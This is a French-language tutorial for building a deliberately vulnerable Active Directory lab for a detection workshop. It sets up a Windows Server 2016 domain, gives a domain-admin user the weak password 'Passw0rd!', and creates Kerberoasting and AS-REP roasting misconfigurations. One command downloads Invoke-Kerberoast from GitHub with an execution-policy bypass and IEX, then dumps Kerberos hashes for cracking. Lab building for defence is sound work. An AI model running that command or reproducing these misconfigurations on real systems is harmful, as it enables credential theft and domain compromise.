
Afin de pouvoir réaliser la suite du workshop de F-Secure, nous allons créer une machine virtuelle Windows Server 2016, configurer Active Directory, et le rendre vulnérable à quelques attaques.
Remarque: Dans ce lab, les VM utilisent un accès par pont. Utilisation de VirtualBox
- Créer une nouvelle VM et insérer l’ISO de Windows Server 2016
ISO Windows Server 2016: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2016

- Lancer la VM et installer Windows Server 2016

- Installer
Choisir l’option Windows Server 2016 Standard Evaluation (Experience Utilisateur)

Choisir Personnalisé



La VM va redemarrer. Créer un mdp pour le compte Administrateur.
Utiliser une IP Statique vu qu’on va se servir du serveur comme contrôleur de domaine. Utiliser la même IP pour le serveur DNS

Pour installer AD via le Gestionnaire de serveur voir [2,3,5]. Ici, nous installerons Active Directory avec PowerShell.
Installer AD avec PowerShell [1]
Install-windowsfeature AD-domain-services

Création du domaine
Import-Module ADDSDeployment
Install-ADDSForest -CreateDnsDelegation:$false ` -DatabasePath "C:\Windows\NTDS" ` -DomainMode "Win2012R2" ` -DomainName "server1.hacklab.local" ` -DomainNetbiosName "server1" ` -ForestMode "Win2012R2" ` -InstallDns:$true ` -LogPath "C:\Windows\NTDS" ` -NoRebootOnCompletion:$false ` -SysvolPath "C:\Windows\SYSVOL" ` -Force:$true

La VM reboot et le domaine est créé
Get-ADForest

Get-ADDomain

Pour avoir accès à internet, penser à configurer la redirection DNS avec le DNS Google [4]
- Gestionnaire DNS

- Clic droit > Propriétés > Redirecteurs
Ajouter 8.8.8.8 et 8.8.4.4

- Installer RSAT-ADDS

Permet d’avoir accès aux outils AD dans les outils d’admin windows

- Ajout d’un utilisateur au domaine
net user user1 Passw0rd! /ADD /DOMAIN

- Ajouter cet utilisateur au groupe
Admins du domaine/!\ Bad user!!
net group “Admins du domaine” user1 /add

Utilisateur bien créé et membre de Admins du domaine



Vérifier que cet utilisateur a un attribut servicePrincipalName SPN.
Commandes powershell listant tous les SPN [5] :
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.filter = "(servicePrincipalName=*)"
$results = $search.Findall()
foreach($result in $results)
{
$userEntry = $result.GetDirectoryEntry()
Write-host "Object Name = " $userEntry.name -backgroundcolor "yellow" -foregroundcolor "black"
Write-host "DN = " $userEntry.distinguishedName
Write-host "Object Cat. = " $userEntry.objectCategory
Write-host "servicePrincipalNames"
$i=1
foreach($SPN in $userEntry.servicePrincipalName)
{
Write-host "SPN(" $i ") = " $SPN $i+=1
}
Write-host ""
}


Il existe beaucoup de scripts permettant de découvrir les SPN (impacket, Empire, etc.) Voir [6]
Ajout d’un deuxième utilisateur, c’est ce user qu’on utilisera pour se loguer sur la Win 7 (ou la Win 10)

Pour download une VM Win 7 et/ou Win 10: https://developer.microsoft.com/en-us/microsoft-edge/tools/vms/
Lancer la VM Win 7 et modifier le serveur DNS pour utiliser le serveur Windows 2016

Vérifier qu’on peut ping le domaine

Computer > Properties > Change Settings

Changer le nom du domaine
Ajouter l’utilisateur


Rebooter


Même chose pour Windows 10
Changer le DNS et le nom de domaine, ajouter l’utilisateur


Afin de pouvoir exploiter ce lab plus tard, nous allons créer deux misconfiguration permettant les attaques Kerberoasting et AS-REP roasting.
Pour implenter d’autres vulnérabiltiés, voir [7]
1. Kerberoasting
Source [7]
Sur le serveur:
PS > setspn -s http/server1.hacklab.local:80 user1

Test avec Invoke-Kerberoast sur la Win 7 [8]
powershell -ep bypass -c "IEX (New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/myexploit/PS_Scripts_Backup/master/Invoke-Kerberoast.ps1') ; Invoke-Kerberoast -OutputFormat HashCat|Select-Object -ExpandProperty hash | out-file -Encoding ASCII kerb-Hash1.txt"


Crackable avec Hashcat. Pour plus de détails sur les étapes de l’attaque Kerberoast, voir [9]
2. AS-REP roasting
Source: [7]
Créer un nouvel utilisateur



user2::Passw0rd!
Dans les propriétés du compte, cocher La pré-authentification Kerberos n'est pas nécessaire

Ce compte est désormais vulnérable à l’AS-REP roasting
Conclusion
Dans ce lab, nous avons créé une infrastructure Active Directory vulnérable au Kerberoasting et au AS-REP roasting.
Dans la suite du workshop Attack Detection Fundamentals de F-Secure nous exploiterons ces vulnérabilités et le analyserons à la recherche d’indicateurs de compromission.
Références
[1] 1337Red, Building and Attacking An Active Directory Lab With Powershell, https://1337red.wordpress.com/building-and-attacking-an-active-directory-lab-with-powershell/
[2] Vartai Security, Lab Building Guide: Virtual Active Directory, https://medium.com/@vartaisecurity/lab-building-guide-virtual-active-directory-5f0d0c8eb907
[3] Robert Scocca, Building an Active Directory Lab, https://robertscocca.medium.com/building-an-active-directory-lab-82170dd73fb4
[4] Configuration DNS sur Windows Server 2016, https://no-impact.eu/do-it-yourself-post-6-Configuration-DNS-sur-Windows-Server-2016
[5] Microsoft, Active Directory: PowerShell script to list all SPNs used, https://social.technet.microsoft.com/wiki/contents/articles/18996.active-directory-powershell-script-to-list-all-spns-used.aspx
[6] Pentestlab, SPN Discovery, https://pentestlab.blog/2018/06/04/spn-discovery/
[7] SEC Consult, Creating Active Directory Labs for Blue and Red Teams, https://sec-consult.com/blog/detail/creating-active-directory-labs-for-blue-and-red-teams/
[8] m0chan, How To Attack Kerberos 101, https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html#invoke-kerberoastps1
[9] Pentestlab, Kerberoast, https://pentestlab.blog/2018/06/12/kerberoast/
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.